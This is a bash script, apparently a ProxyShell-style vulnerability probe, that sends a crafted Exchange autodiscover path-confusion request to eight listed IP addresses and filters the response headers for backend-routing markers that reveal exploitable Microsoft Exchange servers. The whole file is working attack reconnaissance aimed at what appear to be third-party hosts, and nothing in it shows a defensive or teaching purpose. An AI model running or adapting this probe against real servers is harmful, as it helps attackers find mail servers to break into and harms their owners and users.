#!/bin/bash
U='/autodiscover/autodiscover.json?@1337.com/owa/?&Email=autodiscover/autodiscover.json%3F@1337.com'
p(){ echo "== $1 ($2)"; curl -sk -m 15 -D - -o /dev/null "$2://$1$U" 2>&1 | tr -d '\r' | egrep -i "HTTP/|X-OWASuppLevel|^Server:|Location:|X-FEServer|X-CalculatedBETarget" | head -8; echo; }
p 169.239.112.165 http
p 12.215.165.215 https
p 14.251.12.1 https
p 146.120.16.235 https
p 178.13.116.71 https
p 185.103.193.186 https
p 187.157.139.180 https
p 188.187.108.59 https